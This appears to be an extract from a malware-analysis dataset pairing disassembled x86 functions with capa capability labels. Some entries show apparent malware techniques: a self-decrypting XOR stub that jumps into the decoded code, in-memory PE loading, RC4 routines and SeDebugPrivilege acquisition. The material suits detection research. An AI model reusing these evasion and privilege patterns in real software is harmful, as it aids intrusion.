joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5a1adc
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x5a7d14], 0x256
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
jmp 0x5a1ba1
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x38], eax
call fcn.005a1458
xor eax, eax
mov ecx, dword [ebp - 0x38]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x5a7d10], 0x1cae
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x34], ecx
mov ecx, dword [ebp - 0x38]
mov dword [edx + 0x48], ecx
mov dword [0x5a7d14], 0x3c1
add ecx, 0x20e7
mov esi, dword [ebp - 0x38]
cmp esi, 0
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
je 0x5a1b98
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x50
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x5a327c]
mov dh, byte [eax + 0x5a324d]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
jne 0x5a1ba1
lea eax, [ebp - 0x24]
mov dword [0x5a7d14], 0x1b45
mov dword [0x5a7d10], 0x336
mov dword [ebp - 0x44], eax
call fcn.005a0f9c
mov dword [esp], eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
call fcn.005a0bb8
mov dword [0x5a7d10], 0x1dfa
cmp eax, 0
mov dword [ebp - 0x34], eax
jne 0x5a1b03
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x5a1eeb
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x5a7d18], 0
mov dword [0x5a7d1c], 0
mov dword [0x5a7d28], 0
mov dword [0x5a7d14], 0x109b
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x5a2037
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add eax, 1
mov edi, edx
add edi, 1
mov dword [ebp - 0x2c], edx
cdq
idiv esi
mov dword [0x5a7d18], edx
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x5a7d1c], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x30]
mov cl, byte [ecx + esi]
mov byte [0x5a7d20], cl
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x5a7d20]
mov edx, dword [0x5a7d1c]
mov byte [ebx + edx], cl
mov dword [0x5a7d14], 0x122e
mov edx, dword [0x5a7d18]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x5a7d1c]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x5a7d28], ecx
mov dword [0x5a7d14], 0x2252
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
mov ch, byte [edx + esi]
mov dword [0x5a7d14], 0x100b
mov dword [0x5a7d10], 0x156a
xor ch, cl
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x34], edi
je 0x5a2037
mov eax, dword [0x5a7d18]
mov ecx, dword [0x5a7d1c]
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
jmp 0x5a1f4e
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x5a203f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov dword [0x5a7d10], 0x928
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.005a1814
lea ecx, [0x5a15c6]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x34], edx
mov dword [esp + 0x74], 0x142200
mov edx, dword [0x5a7cfc]
mov dword [esp + 0x44], edx
mov edx, dword [0x5a7d00]
mov dword [esp + 0x84], edx
mov edx, dword [0x5a7d14]
add edx, 0xffffdee9
mov dword [0x5a7d10], edx
mov edx, dword [0x5a7d04]
mov dword [esp + 0x30], edx
mov edx, dword [0x5a7d08]
mov dword [esp + 0x3c], edx
mov edx, dword [0x5a7d0c]
mov dword [esp + 0x60], edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
je 0x5a2127
jmp 0x5a213b
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.005a1adc
mov dword [0x5a7d14], 0x1220
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov ecx, dword [0x5a7d10]
add ecx, 0xfffff14b
mov dword [0x5a7d10], ecx
mov dword [esp + 0xc], eax
jmp 0x5a217f
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 8], ecx
je 0x5a2152
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x5a20ce
mov eax, dword [esp + 0x10]
mov dword [esp + 0x38], eax
mov ecx, dword [esp + 8]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x88], edx
call fcn.005a1306
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0xc], ecx
je 0x5a20df
mov eax, dword [esp + 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x4042ef
Capabilities:
Encode data using xor

Disassembly:
inc eax
pop esi
xor dword [esi + 0xe], 0xd5b460e4
pushal
mov ah, 0xd5
sub esi, 0xfffffffc
loop 0x4042f2
aas
mov ah, 0x6d
mov eax, dword [0x4b0b94c0]
jo 0x4042f6
ror byte [ebp - 0x57fa562b], 1
aad 0x18

Function at 0x40b080
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, ebx
or dh, byte [ebx]
jne 0x40b08f
or byte [ebx + 0x468b107d], 0xdf
mov ecx, dword [esi + 0x14]
or ecx, ebx
mov dword [ebp + 0x10], 0
jne 0x40b10d
dec esi
adc al, 0xb
retf
mov al, byte [esi + 8]
test al, al
je 0x40b10d
mov edi, 0x4d8d0456
or byte [edx], ch
push ecx
push 0
push 0
push 0
push edx
call dword [0xd0c00c]
test eax, eax
jne 0x40b0f2
mov ecx, dword [ebx]
cwde
rol byte [eax], 0xa8
or ebx, dword [eax - 0x57ffbf40]
and dword [ebp - 0x74db0a53], eax
dec ebp
adc al, 0x5f
pop esi
mov dword [ecx], eax
pop ebp
ret
mov eax, dword [ebp + 0x2d]
test dword [ebp + esi*2 + 0x14558b0e], eax
pop edi
pop esi
mov ah, 2
mov eax, 0x39
pop ebp
ret
mov ebx, 0xc0854446
je 0x40b137
je 0x40b0ca
or byte [ecx + ecx*8 + 0x4e5c1c75], al
sub ecx, dword [eax + ecx*2]
or byte [ebx + 0x56a65046], cl
push esp
loop 0x40b149
add byte [eax], al
add al, ch
fild word [esi]
add byte [eax], al
outsd dx, dword [esi]
push esi
jge 0x40b0be
push ebp
or al, 0x8b
inc esi
or al, 0x5b
mov eax, dword [esi + 0xc]
pop ebx
push ebp
or al, 0x53
bound ecx, qword [ebp + 0x10]
push eax
mov eax, dword [esi + 4]
adc byte [edi + 0x52], 0x50
call dword [sym.imp.KERNEL32.dll_ReadFile]
test dword [ebp - 0x3fccf88c], ebx
jmp 0xe2b285
Function at 0x42f39a
Capabilities:
Encode data using xor

Disassembly:
xor bl, ch
mov eax, 0xbcc05d92
fst qword [eax + 0x3c]
sbb al, 0x8e
mov word [ecx], cs
fstp xword [eax - 0x4f]
push ecx
xor al, 0x67
mov eax, dword [0x3eda37cd]
sti
jecxz 0x42f3a1
sub eax, 0x33709f84
Function at 0x4372da
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x1c], edx
mov eax, 3
push edi
mov ecx, dword [esi + 0xc]
mov edi, dword [esi]
cmp ecx, eax
jge 0x437307
mov edx, eax
mov ecx, esi
call fcn.0043796a
mov ecx, dword [esi + 0xc]
mov edi, eax
add ecx, 0xfffffffd
mov eax, 0x20
and byte [eax], al
add byte [eax], al
Function at 0x44f4ba
Capabilities:
Encode data using xor

Disassembly:
invalid
xor al, 0xd9
cmp al, 0xd0
dec ecx
scasd eax, dword es:[edi]
sbb al, 0x35
adc ah, byte [ebx + 0x33641963]
aaa
loopne 0x44f4aa
invalid
Function at 0x492d4a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x58
movups xmm0, xmmword [edx]
push esi
mov esi, ecx
movups xmmword [esp + 0x1c], xmm0
push edi
movups xmm0, xmmword [edx + 0x10]
mov dword [esp + 0x1c], esi
mov word [esp + 0x20], 0x203
movups xmmword [esp + 0x30], xmm0
mov byte [esp + 0x22], 1
movups xmm0, xmmword [edx + 0x20]
movups xmmword [esp + 0x40], xmm0
movups xmm0, xmmword [edx + 0x30]
movaps xmmword [esp + 0x50], xmm0

Function at 0x492d8a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
psrldq xmm0, 8
movd eax, xmm0
cmp eax, 0x3f
jle 0x492da2
mov dword [esp + 0x58], 0x3f
jmp 0x492db0
test eax, eax
mov ecx, 0x20
cmovs eax, ecx
dec eax
invalid
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x54]

Function at 0x4a9eaa
Capabilities:
Encrypt data using rc4 prga

Disassembly:
add byte [ecx + 0x2a738c2], al
add byte [ebp + 0xc8d4004], cl
inc ebp
xor byte [eax], bh
dec edx
add byte [ebx + 0x4d89f845], cl
cld
nop word [eax + eax]

Function at 0x4b9ff0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ac
push ebx
push esi
push edi
lea eax, [ebp - 0x198]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 0x1a8], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x1ac], eax
lea ecx, [ebp - 0x19c]
push ecx
push 0x2000000
mov edx, dword [ebp - 0x1ac]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4ba094
push 4
lea eax, [ebp - 0x1a8]
push eax
push 0x18
mov ecx, dword [ebp - 0x19c]
push ecx
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4ba087
mov edx, dword [ebp - 0x19c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x1ac], 0
je 0x4ba085
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x4ba094
mov eax, dword [ebp - 0x19c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x792ed0
Function at 0x4bb06e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c2310
cmp edx, dword [eax]
je 0x4bb090
add eax, 8
inc ecx
cmp eax, 0x4c23a0
jl 0x4bb081
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c2310]
jne 0x4bb1be
mov eax, dword [0x4c69b4]
cmp eax, 1
je 0x4bb198
test eax, eax
jne 0x4bb0c1
cmp dword [0x4c2250], 1
je 0x4bb198
cmp edx, 0xfc
je 0x4bb1be
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb0f8
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bb780
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bb9b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb13b
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bb9b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4bf990
push edi
call fcn.004bd180
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bb780
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bb790
lea eax, [ebp - 0xa0]
push 0x4bf970
push eax
call fcn.004bb790
push dword [esi + 0x4c2314]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bb790
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004bd0f4
add esp, 0x2c
pop edi
jmp 0x4bb1be
lea eax, [ebp + 8]
lea esi, [esi + 0x4c2314]
push 0
push eax
push dword [esi]
call fcn.004bb9b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401210
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
sub esp, 0x18
mov eax, edx
push ebx
mov ebx, dword [ebp + 0xc]
shr eax, 4
push esi
mov ecx, ebx
test eax, eax
je 0x401282
add ebx, 8
mov dword [ebp - 4], eax
nop
mov eax, dword [ecx]
xor dword [edi], eax
mov edx, dword [ebx - 4]
xor dword [edi + 4], edx
mov edx, dword [ebx]
xor dword [edi + 8], edx
mov edx, dword [ebx + 4]
xor dword [edi + 0xc], edx
add ecx, 0x10
mov dword [ebp - 8], ecx
mov ecx, dword [ebp + 8]
push edi
lea esi, [ebp - 0x18]
add ebx, 0x10
call fcn.00401180
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [edi], eax
mov eax, dword [ebp - 0xc]
mov dword [edi + 4], ecx
mov ecx, dword [ebp - 8]
add esp, 4
dec dword [ebp - 4]
mov dword [edi + 8], edx
mov dword [edi + 0xc], eax
jne 0x401230
mov edx, dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
lea eax, [ebx + edx]
cmp eax, ecx
jbe 0x4012f5
sub ebx, ecx
add ebx, edx
test ebx, ebx
jle 0x40129f
push ebx
push ecx
lea ecx, [ebp - 0x18]
push ecx
call 0x41be30
add esp, 0xc
mov eax, 0x10
sub eax, ebx
lea ecx, [ebp + ebx - 0x18]
je 0x4012b8
push eax
push 0
push ecx
call 0x41be60
add esp, 0xc
mov edx, dword [ebp - 0x18]
xor dword [edi], edx
mov ecx, dword [ebp - 0x14]
xor dword [edi + 4], ecx
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
xor dword [edi + 8], edx
xor dword [edi + 0xc], ecx
mov ecx, dword [ebp + 8]
push edi
lea esi, [ebp - 0x18]
call fcn.00401180
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov dword [edi], edx
mov edx, dword [ebp - 0xc]
mov dword [edi + 4], eax
mov dword [edi + 8], ecx
add esp, 4
mov dword [edi + 0xc], edx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401300
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 0x18]
push edi
mov edi, ecx
test eax, eax
je 0x401402
push esi
mov esi, dword [edx]
mov dword [ebp - 0x14], esi
mov esi, dword [edx + 4]
mov dword [ebp - 0x10], esi
mov esi, dword [edx + 8]
mov edx, dword [edx + 0xc]
shr eax, 4
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], edx
test eax, eax
je 0x4013c9
mov edx, ebx
sub ecx, edx
lea esi, [edx + 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp + 0x18], eax
jmp 0x401350
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ebx
lea eax, [ebp - 0x14]
push eax
push ecx
push edx
call 0x403610
mov eax, dword [edi]
xor dword [ebx], eax
mov ecx, dword [edi + 4]
xor dword [esi - 8], ecx
mov edx, dword [edi + 8]
xor dword [esi - 4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + esi]
xor dword [esi], ecx
movzx eax, byte [ebp - 8]
movzx edx, byte [ebp - 7]
movzx ecx, byte [ebp - 6]
shl eax, 8
or eax, edx
movzx edx, byte [ebp - 5]
shl eax, 8
or eax, ecx
shl eax, 8
or eax, edx
inc eax
mov ecx, eax
shr ecx, 0x18
mov byte [ebp - 8], cl
mov edx, eax
mov ecx, eax
shr edx, 0x10
shr ecx, 8
add esp, 0x10
add edi, 0x10
add ebx, 0x10
add esi, 0x10
dec dword [ebp + 0x18]
mov byte [ebp - 7], dl
mov byte [ebp - 6], cl
mov byte [ebp - 5], al
jne 0x401350
mov ecx, dword [ebp + 0x10]
sub ecx, edi
add ecx, dword [ebp + 0x14]
mov esi, ecx
je 0x401401
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 0x24]
push edx
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
push ecx
push edx
call 0x403610
add esp, 0x10
xor eax, eax
test esi, esi
je 0x401401
sub ebx, edi
mov cl, byte [ebp + eax - 0x24]
xor cl, byte [edi]
inc eax
mov byte [ebx + edi], cl
inc edi
cmp eax, esi
jb 0x4013f2
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x665691
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sal al, cl
sub ebx, edi
sar di, 5
sar al, 5
pushal
lea esp, [esp + 0x24]

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x113e5058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.113e51a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x113e507e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x113e506a
add dl, dl
jne 0x113e5089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x113e50dc
xor eax, eax
add dl, dl
jne 0x113e5096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x113e517d
add dl, dl
jne 0x113e50a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x113e50b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x113e50bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x113e50c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x113e50d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x113e5075
mov eax, 1
add dl, dl
jne 0x113e50ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x113e50f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x113e50e1
sub eax, ebx
mov ebx, 1
jne 0x113e5128
mov ecx, 1
add dl, dl
jne 0x113e510e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x113e5119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x113e5105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x113e5075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x113e513f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x113e514a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x113e5136
cmp eax, 0x7d00
jae 0x113e516d
cmp eax, 0x500
jb 0x113e5168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x113e5075
cmp eax, 0x7f
ja 0x113e5170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x113e5075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x113e519e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x113e5075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x60c1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.0060c140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.0060c140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.0060c140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.0060c140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x60cbfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x60cc50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x61e87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x60cc43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x60cc52
xor eax, eax
pop esi
leave
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x59d399
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5aaaf4]
jne 0x59d3a3
repz ret
jmp fcn.0059e7cd

Function at 0x59ec91
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0059cdbf
and dword [ebp - 4], 0
cmp dword [0x5ac738], 0
mov ebx, eax
jne 0x59ed42
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x59edf3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x59edf3
push eax
call fcn.0059cd4d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x5ac738], eax
call esi
push eax
call fcn.0059cd4d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x5ac73c], eax
call esi
push eax
call fcn.0059cd4d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x5ac740], eax
call esi
push eax
call fcn.0059cd4d
pop ecx
mov dword [0x5ac748], eax
test eax, eax
je 0x59ed42
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0059cd4d
pop ecx
mov dword [0x5ac744], eax
mov eax, dword [0x5ac744]
cmp eax, ebx
je 0x59ed9a
cmp dword [0x5ac748], ebx
je 0x59ed9a
push eax
call fcn.0059cdc8
push dword [0x5ac748]
mov esi, eax
call fcn.0059cdc8
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x59ed9a
test edi, edi
je 0x59ed9a
call esi
test eax, eax
je 0x59ed91
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x59ed91
test byte [ebp - 0xc], 1
jne 0x59ed9a
or dword [ebp + 0x10], 0x200000
jmp 0x59edd3
mov eax, dword [0x5ac73c]
cmp eax, ebx
je 0x59edd3
push eax
call fcn.0059cdc8
pop ecx
test eax, eax
je 0x59edd3
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x59edd3
mov eax, dword [0x5ac740]
cmp eax, ebx
je 0x59edd3
push eax
call fcn.0059cdc8
pop ecx
test eax, eax
je 0x59edd3
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x5ac738]
call fcn.0059cdc8
pop ecx
test eax, eax
je 0x59edf3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x59edf5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret